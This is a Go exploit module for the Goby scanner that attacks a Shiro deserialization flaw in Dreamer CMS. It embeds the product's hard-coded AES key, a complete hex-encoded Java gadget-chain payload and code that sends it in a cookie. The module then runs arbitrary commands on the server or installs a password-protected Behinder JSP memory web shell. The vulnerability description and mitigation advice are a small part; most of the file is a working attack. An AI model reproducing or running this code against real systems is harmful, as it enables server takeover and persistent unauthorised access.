package exploits

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"encoding/hex"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"io"
	"net/url"
	"strings"
)

func init() {
	expJson := `{
    "Name": "Dreamer CMS Shiro Deserialization Vulnerability",
    "Description": "<p>Dreamer CMS (Dreamer CMS content management system) is a framework system that is completely open source, free of charge, and open to the public to solve the problem of quickly building display websites (such as corporate official websites, technology blogs, information portals, etc.). It is a basic software system for e-government, telecom integrated portals, enterprise information portals, knowledge management platforms, and e-commerce platforms. </p><p>There is a shiro deserialization vulnerability in Dreamer CMS v3.5.0 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into a memory horse to obtain server permissions.</p>",
    "Product": "Dreamer CMS",
    "Homepage": "https://gitee.com/isoftforce/dreamer_cms",
    "DisclosureDate": "2022-11-11",
    "Author": "su18@javaweb.org",
    "FofaQuery": "header=\"dreamer\" || title=\"dreamer blog\" || body=\"Dreamer CMS\" || banner=\"dreamer-cms-s=\" || header=\"dreamer-cms-s=\"",
    "GobyQuery": "header=\"dreamer\" || title=\"dreamer blog\" || body=\"Dreamer CMS\" || banner=\"dreamer-cms-s=\" || header=\"dreamer-cms-s=\"",
    "Level": "3",
    "Impact": "<p>There is a shiro deserialization vulnerability in Dreamer CMS v3.5.0 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into a memory horse to obtain server permissions.</p>",
    "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update: <a href=\"https://gitee.com/isoftforce/dreamer_cms\">https://gitee.com/isoftforce/dreamer_cms</a></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
    "References": [],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "CommonsBeanutils1",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "TFMSFromRequest",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "classBytes",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php ",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [],
    "CNNVD": [],
    "CNVD": [],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "梦想家 CMS 内容管理系统 shiro 反序列化漏洞",
            "Product": "Dreamer CMS",
            "Description": "<p>Dreamer CMS（梦想家CMS内容管理系统）是完全开源、完全免费、公开解决了快速搭建展示型网站（如：企业官网、技术博客、信息门户等）的框架体系，是电子政务、电信综合门户、企业信息门户、知识管理平台、电子商务平台的基础性软件系统。<br></p><p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">Dreamer CMS&nbsp;</span>v3.5.0&nbsp;及之前的版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。</p>",
            "Recommendation": "<p>1、官方暂未修复该漏洞，请用户联系厂商修复漏洞：<a href=\"https://gitee.com/isoftforce/dreamer_cms\">https://gitee.com/isoftforce/dreamer_cms</a></p><p>2、通过防火墙等安全设备设置访问策略，设置白名单访问。</p><p>3、如非必要，禁止公网访问该系统。</p>",
            "Impact": "<p><span style=\"font-size: 16px; color: rgb(22, 51, 102);\">Dreamer CMS&nbsp;</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">v3.5.0&nbsp;</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">及之前的版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。</span><br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "Dreamer CMS Shiro Deserialization Vulnerability",
            "Product": "Dreamer CMS",
            "Description": "<p>Dreamer CMS (Dreamer CMS content management system) is a framework system that is completely open source, free of charge, and open to the public to solve the problem of quickly building display websites (such as corporate official websites, technology blogs, information portals, etc.). It is a basic software system for e-government, telecom integrated portals, enterprise information portals, knowledge management platforms, and e-commerce platforms.&nbsp;</p><p>There is a shiro deserialization vulnerability in Dreamer CMS v3.5.0 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into a memory horse to obtain server permissions.<br></p>",
            "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update:&nbsp;<a href=\"https://gitee.com/isoftforce/dreamer_cms\">https://gitee.com/isoftforce/dreamer_cms</a></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">There is a shiro deserialization vulnerability in Dreamer CMS v3.5.0 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into a memory horse to obtain server permissions.</span><br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10704"
}`

	shiroAesEncryptGCM576489098371 := func(payloadByte []byte, key string) string {
		keyBytes, _ := base64.StdEncoding.DecodeString(key)
		block, _ := aes.NewCipher(keyBytes)
		nonce := make([]byte, 16)
		io.ReadFull(rand.Reader, nonce)
		aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
		ciphertext := aesgcm.Seal(nil, nonce, payloadByte, nil)
		return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
	}

	sendPayload198671483 := func(u *httpclient.FixUrl, payloadByte []byte, key string, cmd string, payload string, referer string) (*httpclient.HttpResponse, error) {
		if payload == "" {
			cfg := httpclient.NewGetRequestConfig("/")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "dreamer-cms-r="+shiroAesEncryptGCM576489098371(payloadByte, key))
			if cmd != "" {
				cfg.Header.Store("X-Token-Data", cmd)
			}
			return httpclient.DoHttpRequest(u, cfg)

		} else {
			cfg := httpclient.NewPostRequestConfig("/")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "dreamer-cms-r="+shiroAesEncryptGCM576489098371(payloadByte, key))
			cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
			cfg.Header.Store("Referer", referer)
			cfg.Data = "dc=" + url.QueryEscape(payload)
			return httpclient.DoHttpRequest(u, cfg)
		}
	}

	key := "wGiHplamyXlVB11UXWol8g=="
	echoPayload := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E732E6265616E7574696C732E4265616E436F6D70617261746F72E3A188EA7322A4480200024C000A636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F537472696E673B78707372002A6A6176612E6C616E672E537472696E672443617365496E73656E736974697665436F6D70617261746F7277035C7D5C50E5CE02000078707400106F757470757450726F706572746965737704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78700000000000000000757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000124BCAFEBABE0000003101020A001F006E0A0022006F0A007000710A007200730A007200740A001F00750800760A001D00770A007800790A0078007A07007B0A0072007C08007D0A0022007E08007F0800800700810800820800830700840A001D00850800860800870700880B001800890B0018008A08008B08008C07008D0A001D008E07008F0A009000910800920700930800940A0022009508009609002700970700980A0027009908009A0A0070009B0A0022009C08009D08009E08009F0800A00800A10700A20800A30800A40A001D00A50700A60800A70A003100A80700A90800AA0800AB0800AC0A002700AD0800AE0700AF0900B000970A001D00B10A009000790A002700B20A005500B30A00B000B40800B50800B60700B70700B80A0048006E0A004700B90A004800BA0800BB0A001D00BC0800BD0A004800BE0800BF0700C00800C10800C20700C30701010100063C696E69743E010003282956010004436F6465010009746F43537472696E67010016284C6A6176612F6C616E672F537472696E673B295B4201000D537461636B4D61705461626C650100083C636C696E69743E0700C50700C60700C707009307008F0700840700880700C80700A207008D0700A60700C90700CA0700B70700B80700C00700C30C005600570C00CB00CC0700CD0C00CE00CF0700C70C00D000D10C00D200D30C00D400D5010007746872656164730C00D600D70700C60C00D800D90C00DA00DB0100135B4C6A6176612F6C616E672F5468726561643B0C00DC00DD010004657865630C00DE00DF010004687474700100067461726765740100126A6176612F6C616E672F52756E6E61626C6501000674686973243001000768616E646C657201001E6A6176612F6C616E672F4E6F537563684669656C64457863657074696F6E0C00E000D5010006676C6F62616C01000A70726F636573736F727301000E6A6176612F7574696C2F4C6973740C00E100E20C00DA00E301000372657101000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00E400E50100106A6176612F6C616E672F4F626A6563740700CA0C00E600E70100096765744865616465720100106A6176612F6C616E672F537472696E6701000C582D546F6B656E2D446174610C00E800E90100097365745374617475730C00EA00EB0100116A6176612F6C616E672F496E74656765720C005600EC0100076F732E6E616D650C00ED00EE0C00EF00DD01000377696E010003636D640100022F630100092F62696E2F626173680100022D6301000F73756E2F6D6973632F556E73616665010009746865556E736166650100156A6176612E6C616E672E554E495850726F636573730C00F000F10100206A6176612F6C616E672F436C6173734E6F74466F756E64457863657074696F6E0100156A6176612E6C616E672E50726F63657373496D706C0C00F200F30100025B4201000F6C61756E63684D656368616E69736D01000A68656C706572706174680100076F7264696E616C0C00F400E201000B666F726B416E64457865630100025B490700F50C00F600E50C00F700F80C0059005A0C00F700F901000B696E697453747265616D7301000E676574496E70757453747265616D0100136A6176612F696F2F496E70757453747265616D01001D6A6176612F696F2F4279746541727261794F757470757453747265616D0C00FA00FB0C00FC00FD0100246F72672E6170616368652E746F6D6361742E7574696C2E6275662E427974654368756E6B0C00FE00FF01000873657442797465730C010000CC010007646F577269746501001F6A6176612F6C616E672F4E6F537563684D6574686F64457863657074696F6E0100136A6176612E6E696F2E42797465427566666572010004777261700100136A6176612F6C616E672F457863657074696F6E0100306F72672F737531382F79737573657269616C2F7061796C6F6164732F74656D706C617465732F546F6D6361744563686F0100156A6176612F6C616E672F54687265616447726F75700100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F5468726561640100135B4C6A6176612F6C616E672F537472696E673B0100035B5B420100186A6176612F6C616E672F7265666C6563742F4D6574686F64010008676574427974657301000428295B420100106A6176612F6C616E672F53797374656D0100096172726179636F707901002A284C6A6176612F6C616E672F4F626A6563743B494C6A6176612F6C616E672F4F626A6563743B4949295601000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B01000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B01000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A01000D6765745375706572636C61737301000473697A650100032829490100152849294C6A6176612F6C616E672F4F626A6563743B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076973456D70747901000328295A010004545950450100114C6A6176612F6C616E672F436C6173733B0100042849295601000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B01000B746F4C6F77657243617365010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B010010616C6C6F63617465496E7374616E6365010025284C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F4F626A6563743B010008696E7456616C75650100116A6176612F6C616E672F426F6F6C65616E0100116765744465636C617265644D6574686F6401000776616C75654F660100162849294C6A6176612F6C616E672F496E74656765723B010016285A294C6A6176612F6C616E672F426F6F6C65616E3B01000472656164010005285B4229490100057772697465010007285B424949295601000B6E6577496E7374616E636501001428294C6A6176612F6C616E672F4F626A6563743B01000B746F42797465417272617901002D6F72672F6170616368652F78616C616E2F7061727365722F6E6F64652F415354537472696E674C69746572616C00210055001F000000000003000100560057000100580000001100010001000000052AB70001B10000000000090059005A000100580000003900050003000000242AC7000501B02AB600024C2BBE0460BC084D2B032C032BBEB800032C2CBE046403542CB000000001005B000000030001060008005C0057000100580000075B000800260000051F033BB80004B600054C2BB600061207B600084D2C04B600092C2BB6000AC0000BC0000B4E03360415042DBEA204EF2D1504323A051905C70006A704DB1905B6000C3A061906120DB6000E9A000D1906120FB6000E9A0006A704BD1905B600061210B600084D2C04B600092C1905B6000A3A071907C100119A0006A7049A1907B600061212B600084D2C04B600092C1907B6000A3A071907B600061213B600084DA700163A081907B60006B60015B600151213B600084D2C04B600092C1907B6000A3A071907B60006B600151216B600084DA700103A081907B600061216B600084D2C04B600092C1907B6000A3A071907B600061217B600084D2C04B600092C1907B6000AC00018C000183A0803360915091908B900190100A203F019081509B9001A02003A0A190AB60006121BB600084D2C04B600092C190AB6000A3A0B190BB60006121C03BD001DB6001E190B03BD001FB600203A0C190BB60006122104BD001D5903122253B6001E190B04BD001F5903122353B60020C000223A061906C6037C1906B600249A0374190CB60006122504BD001D5903B2002653B6001E190C04BD001F5903BB0027591100C8B7002853B6002057013A0D1229B8002AB6002B122CB6000E99001B06BD00225903122D535904122E5359051906533A0DA7001806BD00225903122F53590412305359051906533A0D12311232B600083A0E190E04B60009190E01B6000AC000313A0F013A101233B800343A10A7000C3A111236B800343A10190F1910B600373A11190DBE0464BD00383A121912BE361303361415141912BEA2002319121514190D1514046032B600025315131912151432BE603613841401A7FFDB1513BC083A1403361519123A161916BE361703361815181517A2002719161518323A19191903191415151919BEB8000315151919BE0460603615841801A7FFD804BC0A3A1606BC0A5903024F5904024F5905024F3A1719101239B600083A181910123AB600083A19191804B60009191904B6000919181911B6000A3A1A19191911B6000AC00038C000383A1B191AB60006123B03BD001DB6001E191A03BD001FB60020C00027B6003C361C1910123D100ABD001D5903B20026535904123853590512385359061238535907B20026535908123853591006B2002653591007123853591008123E53591009B2003F53B600403A1D191D04B60041191D1911100ABD001F5903151C0460B80042535904191B535905190D0332B8004353590619145359071912BEB8004253590801535910061916032EB8004253591007015359100819175359100903B8004453B60020571910124504BD001D5903123E53B600403A1E191E04B60041191E191104BD001F5903191753B60020571910124603BD001DB6001E3A1F191F04B60041191F191103BD001FB60020C000473A20BB004859B700493A21033622110400BC083A2319201923B6004A593622029F001019211923031522B6004BA7FFE8124CB800343A241924B6004D3A071924124E06BD001D59031238535904B20026535905B2002653B60040190706BD001F59031921B6004F535904BB00275903B700285359051921B6004FBEB8004253B6002057190CB60006125004BD001D5903192453B6001E190C04BD001F5903190753B6002057A700513A241252B800343A251925125304BD001D5903123853B60040192504BD001F59031921B6004F53B600203A07190CB60006125004BD001D5903192553B6001E190C04BD001F5903190753B6002057043B043B1A990006A70009840901A7FC0A1A990006A7000EA700053A05840401A7FB10A700044BB10009009500A000A3001400C300D100D4001402120219021C0035043104A604A90051002E003905120054003C005705120054005A007A05120054007D050C051200540000051A051D00540001005B000001E2001FFF002700050107005D07005E07000B010000FC001407005FFC001A07006002FC002207006165070062125D0700620CFD002D07006301FF00D0000E0107005D07005E07000B0107005F07006007006107006301070061070061070061070064000014FF002600110107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066000107006708FF001A00150107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E07006507006607006107006801010000FA0027FF001400190107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066070061070068010700380107006801010000F8002AFF016D00240107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066070061070068010700380107003E07003E07005E07005E0700610700380107006907006907006907006A07006B0107003800001AF7007707006CFB004DFF0003000D0107005D07005E07000B0107005F070060070061070063010700610700610700610000F80006FA0005FF000600050107005D07005E07000B0100004207006D01FF0005000000004207006D0000007571007E0010000000F9CAFEBABE0000003300110100216F72672F6170616368652F786D6C2F6C616E672F6D6174682F4672616374696F6E0700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C6501000D4672616374696F6E2E6A61766101001073657269616C56657273696F6E5549440100014A0571E669EE3C6D471801000D436F6E7374616E7456616C75650100063C696E69743E0100032829560C000C000D0A0004000E010004436F646500210002000400000001001A000700080001000B00000002000900010001000C000D000100100000001100010001000000052AB7000FB1000000000001000500000002000670740008414D544D4241474C707701007871007E000D78"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			randStr := goutils.RandomHexString(12)
			gadget, _ := hex.DecodeString(echoPayload)
			resp, err := sendPayload198671483(u, gadget, key, "echo "+randStr, "", "")
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				gadget, _ := hex.DecodeString(echoPayload)
				resp, err := sendPayload198671483(expResult.HostInfo, gadget, key, cmd, "", "")
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)
				classBytes := ss.Params["classBytes"].(string)

				if serializedData == "" || classBytes == "" {
					serializedData, classBytes, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				}

				data, _ := base64.StdEncoding.DecodeString(serializedData)
				resp, err := sendPayload198671483(expResult.HostInfo, data, key, "", classBytes, referer)

				if err == nil && resp.StatusCode == 200 &&
					(strings.Contains(resp.RawBody, "Success") || strings.Contains(resp.RawBody, "Filter already exists")) {
					cfg := httpclient.NewGetRequestConfig("/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		},
	))
}
